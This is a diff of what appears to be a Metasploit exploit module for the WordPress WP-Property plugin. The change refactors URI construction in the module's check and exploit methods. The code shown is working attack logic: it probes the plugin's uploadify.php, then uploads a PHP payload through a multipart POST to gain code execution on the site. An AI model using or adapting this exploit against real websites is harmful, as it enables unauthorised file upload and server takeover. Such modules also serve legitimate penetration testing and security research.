@@ -54,11 +54,11 @@ def initialize(info = {})
54
54
end
55
55
56
56
def check
57
- uri = normalize_uri ( target_uri . path )
57
+ uri = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-property' , 'third-party' , 'uploadify' , 'uploadify.php' )
58
58
59
59
res = send_request_cgi ( {
60
60
'method' => 'GET' ,
61
- 'uri' => " #{ uri } /wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
61
+ 'uri' => uri
62
62
} )
63
63
64
64
if not res or res . code != 200
@@ -69,7 +69,8 @@ def check
69
69
end
70
70
71
71
def exploit
72
- uri = normalize_uri ( target_uri . path )
72
+ data_uri = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wp-property' , 'third-party' , 'uploadify/' )
73
+ request_uri = normalize_uri ( data_uri , 'uploadify.php' )
73
74
74
75
peer = "#{ rhost } :#{ rport } "
75
76
@@ -78,13 +79,13 @@ def exploit
78
79
79
80
data = Rex ::MIME ::Message . new
80
81
data . add_part ( php_payload , "application/octet-stream" , nil , "form-data; name=\" Filedata\" ; filename=\" #{ @payload_name } \" " )
81
- data . add_part ( " #{ uri } /wp-content/plugins/wp-property/third-party/uploadify/" , nil , nil , "form-data; name=\" folder\" " )
82
+ data . add_part ( data_uri , nil , nil , "form-data; name=\" folder\" " )
82
83
post_data = data . to_s
83
84
84
85
print_status ( "#{ peer } - Uploading payload #{ @payload_name } " )
85
86
res = send_request_cgi ( {
86
87
'method' => 'POST' ,
87
- 'uri' => " #{ uri } /wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" ,
88
+ 'uri' => request_uri ,
88
89
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
89
90
'data' => post_data
90
91
} )
0 commit comments